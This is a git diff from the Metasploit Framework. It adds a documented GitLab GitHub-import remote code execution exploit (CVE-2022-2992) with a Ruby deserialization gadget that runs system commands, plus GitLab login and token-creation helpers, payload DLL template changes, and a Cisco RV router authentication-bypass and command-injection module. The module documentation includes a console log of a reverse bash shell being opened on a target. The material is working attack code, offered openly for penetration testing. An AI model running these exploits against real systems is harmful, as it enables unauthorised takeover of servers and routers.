[*] Sending stage (24380 bytes) to 10.0.0.219
@@ -0,0 +1,201 @@
## Vulnerable Application
### Description
An authenticated user can import a repository from GitHub into GitLab.
When importing a GitHub repository the GitLab api client uses `Sawyer` for handling the responses. This takes a JSON hash and converts
it into a Ruby class that has methods matching all of the keys. This happens recursively, and allows for any method to be overridden
including built-in methods such as `to_s`.
The redis gem uses `to_s` and `bytesize` to generate the RESP (Redis serialization protocol) command. By replying with a specially
crafted JSON object (that will be further parsed as a `Sawyer::Resource`), one controlling the GitHub server can inject arbitrary
redis commands to the stream.
On August 30, 2022, GitLab released a software update that addressed this vulnerability (CVE-2022-2992).
The following products are affected:
- From 11.10 to 15.1.6
- From 15.2 to 15.2.4
- From 15.3 to 15.3.2
### Exploitation
This module exploits the GitLab vulnerability by injecting a Ruby serialized object into the Redis user
session object. Once GitLab calls the Marshal.load when loading the ` _gitlab_session` cookie, it will
execute a deserialization gadget and trigger the payload.
To achieve that this module:
- Will generate an universal Ruby deserialization gadget payload;
- Will create an access token for the user targeted;
- Will start a server to emulate GitHub and serve the payload to be injected;
- Will create a group and also trigger the GitHub import feature to the repository from the controlled server
- Will perform a request using the just injected session ID that when loaded must trigger the payload.
After the execution the cleanup method will be called and:
- Should delete the created group and consequently the repository
- Should revoke the access token created
- Should logout the user
### Setup
Create a `docker-compose.yml` file as below:
```yml
services:
gitlab:
image: 'gitlab/gitlab-ee:15.3.1-ee.0'
restart: always
container_name: gitlab
hostname: 'gitlab.example'
network_mode: "bridge"
ports:
- '880:80'
- '8443:443'
volumes:
- gitlab_config:/etc/gitlab
- gitlab_logs:/var/log/gitlab
- gitlab_data:/var/opt/gitlab
volumes:
gitlab_config:
driver: local
gitlab_logs:
driver: local
gitlab_data:
driver: local
```
Run the below command to create the container:
```
$ docker-compose up
```
Wait for container to be "healthy" before continue. One can use [this](https://github.com/redwaysecurity/CVEs/blob/main/CVE-2022-2992/environment/healthy.sh) bash script to monitor the status.
```
$ # Creating personal access token for the root user
$ TOKEN=`tr -dc A-Za-z0-9 </dev/urandom | head -c 24 ; echo ''`
$ docker exec -e TOKEN=$TOKEN -it gitlab gitlab-rails runner "token = User.find_by_username('root').personal_access_tokens.create(scopes: [:sudo, :api], name: 'Automation token'); token.set_token(ENV['TOKEN']); token.save!"
$ # Using the personal access token from the root user a user.
$ USER=msf
$ PASSWORD=SuperStrongestGitLabPassword
$ curl --request POST --header "PRIVATE-TOKEN: $TOKEN" --data "skip_confirmation=true&email=$USER@gitlab.example&name=$USER&username=$USER&password=$PASSWORD" "http://gitlab.example:880/api/v4/users"
```
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Options
### TARGETURI (required)
The path to the GitLab (Default: `/`).
### USERNAME (required)
The username of the target user to authenticate with.
### PASSWORD (required)
The password of the target user to authenticate with.
### SRVHOST (required)
The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
### SRVPORT (required)
The local port to listen on. This is the port to be used when creating the tunnel.
### URIHOST
Host to use in GitHub import URL. On default GitLab instances, this must be either a public (non-RFC1918) IP address or
a hostname that resolves to a public IP address. This option can be used in conjunction with a reverse port-forwarding
service such as SSH or NGROK. **The target GitLab server will connect to this host and eventually receive the payload
through it, so it is important to use a host that is considered to be trustworthy.**
## Scenarios
### Docker container running GitLab 15.3.1
The following example uses the following three hosts:
* 192.168.159.128 -- The target GitLab server
* 192.168.250.134 -- The host on which Metasploit is running
* ext.msflab.local -- An external host on the internet through which the HTTP requests from GitLab to Metasploit are
tunneled in order to bypass GitLab restrictions.
External to Metasploit, SSH is used to setup a reverse port forward through a host with a public (non-RFC1918) IP
address. This is necessary to bypass Import URL restrictions that are in place by default on GitLab. The port-forward
was configured with `ssh -R 8088:localhost:8088 ext.msflab.local` to forward TCP port 8088 on ext.msflab.local to the
local Metasploit instance. Alternatively, this step could be skipped if Metasploit were running on a host with public IP
address.
If the target GitLab server can not import from the specified URL (for example because the host is a private IP
address), then the module will throw this error:
```
[-] Exploit failed: Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError Invalid URL: http://192.168.250.134:8088/
```
```
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > options
Module options (exploit/multi/http/gitlab_github_import_rce_cve_2022_2992):
Name Current Setting Required Description
---- --------------- -------- -----------
IMPORT_DELAY 5 yes Time to wait from the import task before try to trigger the payload
PASSWORD Password1! yes The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.128 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 880 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8088 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to the gitlab application
URIHOST ext.msflab.local no Host to use in GitHub import URL
URIPATH no The URI to use for this exploit (default is random)
USERNAME smcintyre yes The username to authenticate as
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.250.134 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > run
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected GitLab version 15.3.1 which is vulnerable.
[*] Using URL: http://ext.msflab.local:8088/
[*] Command shell session 1 opened (192.168.250.134:4444 -> 192.168.250.134:56794) at 2023-02-13 13:41:05 -0500
id
[*] Server stopped.
uid=998(git) gid=998(git) groups=998(git)
pwd
/var/opt/gitlab/gitlab-rails/working
exit
[*] 192.168.159.128 - Command shell session 1 closed.
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) >
```
+10 -8
View File
@@ -1,5 +1,6 @@
require 'rbconfig'
require 'yaml'
require 'open3'
module Metasploit
module Framework
@@ -17,20 +18,21 @@ module Metasploit
version_info = YAML.load_file(version_yml)
hash = '-' + version_info['build_framework_rev']
else
# determine if git is installed
null = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null'
git_installed = system("git --version > #{null} 2>&1")
# get the hash of the HEAD commit
if git_installed && File.exist?(File.join(root, '.git'))
hash = '-' + `git rev-parse --short HEAD`
# Fallback to using Git version detection if version_yml not present
changed_files = %w[git rev-parse --short HEAD]
begin
# stderr may contain Git warnings that we can ignore
output, _stderr, status = ::Open3.capture3(*changed_files, chdir: root)
hash = "-#{output}" if status.success?
rescue => e
elog(e) if defined?(elog)
end
end
hash.strip
end
end
VERSION = "6.3.2"
VERSION = "6.3.3"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
@@ -0,0 +1,35 @@
# -*- coding: binary -*-
module Msf
class Exploit
class Remote
module HTTP
# This module provides a way of interacting with gitlab installations
module Gitlab
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
include Msf::Exploit::Remote::HTTP::Gitlab::Authenticate
include Msf::Exploit::Remote::HTTP::Gitlab::Error
include Msf::Exploit::Remote::HTTP::Gitlab::Form
include Msf::Exploit::Remote::HTTP::Gitlab::Groups
include Msf::Exploit::Remote::HTTP::Gitlab::Helpers
include Msf::Exploit::Remote::HTTP::Gitlab::Import
include Msf::Exploit::Remote::HTTP::Gitlab::Rest
include Msf::Exploit::Remote::HTTP::Gitlab::Version
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the gitlab application', '/'])
], Msf::Exploit::Remote::HTTP::Gitlab
)
end
# class GitLabClientException < StandardError; end
end
end
end
end
end
@@ -0,0 +1,7 @@
# -*- coding: binary -*-
# GitLab Access Tokens mixin
module Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
include Msf::Exploit::Remote::HTTP::Gitlab::Form::AccessTokens
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::AccessTokens
end
@@ -0,0 +1,5 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Authenticate
include Msf::Exploit::Remote::HTTP::Gitlab::Form::Authenticate
end
@@ -0,0 +1,43 @@
module Msf::Exploit::Remote::HTTP::Gitlab::Error
# GitLab error mixin
class ClientError < ::StandardError
def initialize(message: nil)
super(message || 'Gitlab Client Error')
end
end
# Authentication error
class AuthenticationError < ClientError
def initialize
super(message: 'Authentication failed')
end
end
# Csrf token error
class CsrfError < ClientError
def initialize(message = 'Could not successfully extract CSRF token')
super(message: message)
end
end
# Group error
class GroupError < ClientError
def initialize(message)
super(message: message)
end
end
# Import error
class ImportError < ClientError
def initialize(message)
super(message: message)
end
end
# Version error
class VersionError < ClientError
def initialize
super(message: 'Unable to determine Gitlab version')
end
end
end
@@ -0,0 +1,2 @@
module Msf::Exploit::Remote::HTTP::Gitlab::Form
end
@@ -0,0 +1,34 @@
# -*- coding: binary -*-
# Create a Gitlab Access Token via form
module Msf::Exploit::Remote::HTTP::Gitlab::Form::AccessTokens
# Create Gitlab access access token
#
# @return [String,nil] Gitlab personal access token if created, nil otherwise
def gitlab_create_personal_access_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/-/profile/personal_access_tokens'),
'keep_cookies' => true,
'vars_post' => {
'personal_access_token[name]' => Rex::Text.rand_text_alphanumeric(8),
'personal_access_token[expires_at]' => '',
'personal_access_token[scopes][]' => 'api',
'commit' => 'Create personal access token'
},
'headers' => {
'X-CSRF-Token' => gitlab_helper_extract_csrf_token(path: '/-/profile/personal_access_tokens', regex: /name="csrf-token" content="(.*)"/)
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to create access token. Unexpected HTTP #{res.code} response." unless res.code == 200
token = JSON.parse(res.body)['new_token']
return token if token
nil
end
end
@@ -0,0 +1,61 @@
# -*- coding: binary -*-
# GitLab session mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Form::Authenticate
# performs a gitlab login
#
# @param user [String] Username
# @param pass [String] Password
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
def gitlab_sign_in(username, password)
sign_in_path = '/users/sign_in'
csrf_token = gitlab_helper_extract_csrf_token(
path: sign_in_path,
regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"}
)
raise Msf::Exploit::Remote::HTTP::GitLab::Error::CsrfError unless csrf_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, sign_in_path),
'keep_cookies' => true,
'vars_post' => gitlab_helper_login_post_data(username, password, csrf_token)
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if res.code != 302
cookies = res.get_cookies
# Check if a valid gitlab cookie is returned
return cookies if cookies =~ /(_gitlab_session=[A-Za-z0-9%-]+)/i
nil
end
# performs a gitlab logout
#
# @return [Boolean,GitLabError] True if sign out, Msf::Exploit::Remote::HTTP::Gitlab::Error otherwise
def gitlab_sign_out
csrf_token = gitlab_helper_extract_csrf_token(
path: '/',
regex: /name="csrf-token" content="(.*)"/
)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/users/sign_out'),
'keep_cookies' => true,
'vars_post' => {
'_method' => 'post',
'authenticity_token' => csrf_token
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, 'Failed to sign out' unless res.code == 302 && res.headers&.fetch('Location', '')&.include?('/users/sign_in')
true
end
end
@@ -0,0 +1,6 @@
# -*- coding: binary -*-
# GitLab Groups mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Groups
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Groups
end
@@ -0,0 +1,43 @@
# -*- coding: binary -*-
# GitLab helpers mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Helpers
# Helper methods are private and should not be called by modules
private
# Returns the POST data for a Gitlab login request
#
# @param user [String] Username
# @param pass [String] Password
# @param csrf_token [String] CSRF token
# @return [Hash] The post data for vars_post Parameter
def gitlab_helper_login_post_data(user, pass, csrf_token)
post_data = {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'user[login]' => user,
'user[password]' => pass,
'user[remember_me]' => 0
}
post_data
end
def gitlab_helper_extract_csrf_token(path:, regex:)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, path),
'keep_cookies' => true
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' if res.nil?
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError unless res&.code == 200
token = res.body[regex, 1]
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError, "Could not successfully extract CSRF token using the regex #{regex}" if token.nil?
token
end
end
@@ -0,0 +1,6 @@
# -*- coding: binary -*-
# GitLab import mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Import
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Import
end
@@ -0,0 +1,4 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Rest
end
@@ -0,0 +1,2 @@
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4
end
@@ -0,0 +1,23 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::AccessTokens
# Revoke a Gitlab access token via the v4 REST api
#
# @return [nil,GitLabClientError] nil if revoke, Msf::Exploit::Remote::HTTP::Gitlab::GitLabClientError otherwise
def gitlab_revoke_personal_access_token(personal_access_token)
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, '/api/v4/personal_access_tokens/self'),
'ctype' => 'application/json',
'headers' => {
'PRIVATE-TOKEN' => personal_access_token
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to revoke access token. Unexpected HTTP #{res.code} response." unless res.code == 204
nil
end
end
@@ -0,0 +1,51 @@
# -*- coding: binary -*-
# GitLab Groups mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Groups
# Create a new group
#
# @return [String,nil] Group ID if successful create, nil otherwise
def gitlab_create_group(group_name, api_token)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v4/groups'),
'ctype' => 'application/json',
'headers' => {
'PRIVATE-TOKEN' => api_token
},
'data' => {
name: group_name, path: group_name, visibility: 'public'
}.to_json
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to create group. Unexpected HTTP #{res.code} response." if res.code != 201
group = JSON.parse(res.body)
return group if group
nil
end
# Delete a group
#
# @return [Bolean,GitLabClientError] True if successful deleted, Msf::Exploit::Remote::HTTP::Gitlab::GitLabClientError otherwise
def gitlab_delete_group(group_id, api_token)
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri('/api/v4/groups', group_id),
'ctype' => 'application/json',
'headers' => {
'PRIVATE-TOKEN' => api_token
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to delete group. Unexpected HTTP #{res.code} response." if res.code != 202
true
end
end
@@ -0,0 +1,45 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Import
# Import a repository from a remote URL
#
# @return [String,nil] Import ID if successfully enqueued, nil otherwise
def gitlab_import_github_repo(group_name:, github_hostname:, api_token:)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v4/import/github'),
'ctype' => 'application/json',
'headers' => {
'PRIVATE-TOKEN' => api_token
},
'data' => {
'personal_access_token' => Rex::Text.rand_text_alphanumeric(8),
'repo_id' => rand(1000),
'target_namespace' => group_name,
'new_name' => "gh-import-#{rand(1000)}",
'github_hostname' => github_hostname
}.to_json
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
# 422 is returned if the import failed, but the response body contains the error message
if res.code == 422
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, ((res.get_json_document || {})['errors'] || 'Import failed')
end
# 201 is returned if the import was successfully enqueued
unless res.code == 201
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, ((res.get_json_document || {})['errors'] || 'Import failed')
end
# Example of a successful response body
# {"id":54,"name":"gh-import-761","full_path":"/fpXxUqzfQY/gh-import-761","full_name":"fpXxUqzfQY / gh-import-761"}
body = res.get_json_document
return body if body
nil
end
end
@@ -0,0 +1,23 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Version
# Extracts the Gitlab version information from various sources
#
# @return [String,nil] Gitlab version if found, nil otherwise
def gitlab_version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/v4/version'),
'keep_cookies' => true
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError unless res.code == 200
body = JSON.parse(res.body)
version = body['version'][Regexp.new(Msf::Exploit::Remote::HTTP::Gitlab::GITLAB_VERSION_PATTERN), 1]
return version if version
nil
end
end
@@ -0,0 +1,9 @@
# -*- coding: binary -*-
# GitLab version mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Version
# Used to check if the version is correct: must contain at least one dot
GITLAB_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)'.freeze
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Version
end
@@ -0,0 +1,54 @@
# -*- coding: binary -*-
# Ruby deserialization mixin
module Msf
# Ruby deserialization exploit module
module Exploit::RubyDeserialization
include Msf::Exploit::Powershell
# Generate a binary blob that when deserialized by Ruby will execute the specified command using the platform-specific
# shell.
#
# @param [String] name The name of the payload to use.
# @param [String] command The OS command to execute.
#
# @return [String] The opaque data blob.
def generate_ruby_deserialization_for_command(command, name)
Msf::Util::RubyDeserialization.payload(name, command)
end
# Generate a binary blob that when deserialized by ruby will execute the specified payload. This routine converts the
# payload automatically based on the platform and architecture.
#
# @param [String] name The name of the payload to use.
# @param [Msf::EncodedPayload] payload The payload to execute.
#
# @raise [RuntimeError] This raises a RuntimeError of the specified payload can not be automatically converted to an
# operating system command.
#
# @return [String] The opaque data blob.
def generate_ruby_deserialization_for_payload(payload, name)
command = nil
if payload.platform.platforms == [Msf::Module::Platform::Windows]
if [ Rex::Arch::ARCH_X86, Rex::Arch::ARCH_X64 ].include? payload.arch.first
command = cmd_psh_payload(payload.encoded, payload.arch.first, { remove_comspec: true })
elsif payload.arch.first == Rex::Arch::ARCH_CMD
command = payload.encoded
end
elsif payload.arch.first == Rex::Arch::ARCH_CMD
command = payload.encoded
end
if command.nil?
raise 'Could not generate the payload for the platform/architecture combination'
end
generate_ruby_deserialization_for_command(command, name)
end
def self.gadget_chains
Msf::Util::RubyDeserialization.payload_names
end
end
end
+50 -39
View File
@@ -530,7 +530,7 @@ require 'digest/sha1'
case opts[:exe_type]
when :service_exe
max_length = 8192
opts[:exe_max_sub_length] ||= 8192
name = opts[:servicename]
if name
bo = pe.index('SERVICENAME')
@@ -541,18 +541,18 @@ require 'digest/sha1'
end
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
when :dll
max_length = 4096
opts[:exe_max_sub_length] ||= 4096
when :exe_sub
max_length = 4096
opts[:exe_max_sub_length] ||= 4096
end
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
if code.length <= max_length
if code.length <= opts.fetch(:exe_max_sub_length)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of " +
"#{max_length} bytes, please fix the calling module"
"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"
end
if opts[:exe_type] == :dll
@@ -671,6 +671,40 @@ require 'digest/sha1'
exe_sub_method(code,opts)
end
# self.set_template_default_winpe_dll
#
# Set the default winpe DLL template. It will select the template based on the parameters provided including the size
# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.
#
# @param opts [Hash]
# @param arch The architecture, as one the predefined constants.
# @param size [Integer] The size of the payload.
# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'
private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil)
return if opts[:template].present?
# dynamic size upgrading is only available when MSF selects the template because there's currently no way to
# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB
match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }
if match
opts[:exe_max_sub_length] = match.first
size_suffix = match.last
end
arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)
raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?
if flavor.present?
unless %w[mixed_mode dccw_gdiplus].include?(flavor)
raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'
end
flavor = '_' + flavor
end
set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")
end
# self.to_win32pe_dll
#
# @param framework [Msf::Framework] The framework of you want to use
@@ -681,13 +715,8 @@ require 'digest/sha1'
# @option [String] :inject
# @return [String]
def self.to_win32pe_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
if opts.fetch(:mixed_mode, false)
default_exe_template = 'template_x86_windows_mixed_mode.dll'
else
default_exe_template = 'template_x86_windows.dll'
end
set_template_default(opts, default_exe_template)
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
opts[:exe_type] = :dll
if opts[:inject]
@@ -707,13 +736,9 @@ require 'digest/sha1'
# @option [String] :inject
# @return [String]
def self.to_win64pe_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
if opts.fetch(:mixed_mode, false)
default_exe_template = 'template_x64_windows_mixed_mode.dll'
else
default_exe_template = 'template_x64_windows.dll'
end
set_template_default(opts, default_exe_template)
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor)
opts[:exe_type] = :dll
if opts[:inject]
@@ -724,7 +749,7 @@ require 'digest/sha1'
end
# self.to_win32pe_dll
# self.to_win32pe_dccw_gdiplus_dll
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
@@ -734,18 +759,11 @@ require 'digest/sha1'
# @option [String] :inject
# @return [String]
def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows_dccw_gdiplus.dll")
opts[:exe_type] = :dll
if opts[:inject]
self.to_win32pe(framework, code, opts)
else
exe_sub_method(code,opts)
end
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
to_win32pe_dll(framework, code, opts)
end
# self.to_win64pe_dll
# self.to_win64pe_dccw_gdiplus_dll
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
@@ -755,15 +773,8 @@ require 'digest/sha1'
# @option [String] :inject
# @return [String]
def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x64_windows_dccw_gdiplus.dll")
opts[:exe_type] = :dll
if opts[:inject]
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
else
exe_sub_method(code,opts)
end
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')
to_win64pe_dll(framework, code, opts)
end
# Wraps an executable inside a Windows .msi file for auto execution when run
+34
View File
@@ -0,0 +1,34 @@
# -*- coding: binary -*-
# Ruby deserialization Utility
module Msf
module Util
# Ruby deserialization class
class RubyDeserialization
# That could be in the future a list of payloads used to exploit the Ruby deserialization vulnerability.
PAYLOADS = {
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
net_writeadapter: proc do |command|
"\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement" \
"[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:" \
"#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI#{Marshal.dump(Rex::Text.rand_text_alphanumeric(12..20))[2..-1]}" \
"\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14" \
"Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r" \
"@git_setI#{Marshal.dump(command)[2..-1]}\x06;\fT;\x12:\fresolve"
end
}
def self.payload(payload_name, command = nil)
raise ArgumentError, "#{payload_name} payload not found in payloads" unless payload_names.include? payload_name.to_sym
PAYLOADS[payload_name.to_sym].call(command)
end
def self.payload_names
PAYLOADS.keys
end
end
end
end
@@ -0,0 +1,194 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco RV Series Authentication Bypass and Command Injection',
'Description' => %q{
This module exploits two vulnerabilities, a session ID directory traversal authentication
bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,
and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.
This access can then be used to pivot to other parts of the network. This module works on firmware
versions 1.0.03.24 and below.
},
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Author' => [
'Biem Pham', # Vulnerability Discoveries
'Neterum', # Metasploit Module
'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb
],
'DisclosureDate' => '2021-11-02',
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'References' => [
['CVE', '2022-20705'], # Authentication Bypass
['CVE', '2022-20707'], # Command Injection
['ZDI', '22-410'], # Authentication Bypass
['ZDI', '22-411'] # Command Injection
],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'BadChars' => '\'#'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'Payload' => {
'BadChars' => '\'#'
},
'CmdStagerFlavor' => [ 'wget', 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path', '/'])
]
)
end
# sessionid utilized later needs to be set to length
# of 16 or exploit will fail. Tested with lengths
# 14-17
def generate_session_id
return Rex::Text.rand_text_alphanumeric(16)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => '/upload',
'headers' => {
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id
}
}, 10)
# A proper "upload" will trigger file creation. So the send_request_cgi call
# above is an incorrect "upload" call to avoid creating a file on disk. The router will return
# status code 405 Not Allowed if authentication has been bypassed by the above request.
# The firmware containing this authentication bypass also contains the command injection
# vulnerability that will be abused during actual exploitation. Non-vulnerable
# firmware versions will respond with 403 Forbidden.
if res.nil?
return CheckCode::Unknown('The device did not respond to request packet.')
elsif res.code == 405
return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')
elsif res.code == 403
return CheckCode::Safe('The device is not vulnerable to exploitation.')
else # Catch-all
return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')
end
end
def execute_command(cmd, _opts = {})
res = send_exploit(cmd)
# Successful unix_cmd shells should not produce a response.
# However if a response is returned, check the status code and return
# Failure::NotVulnerable if it is 403 Forbidden.
if target['Type'] == :unix_cmd && res&.code == 403
fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable')
end
if target['Type'] == :linux_dropper
fail_with(Failure::Unreachable, 'The target did not respond') unless res
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200
begin
body_json = res.get_json_document
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!')
end
end
print_good('Exploit successfully executed.')
end
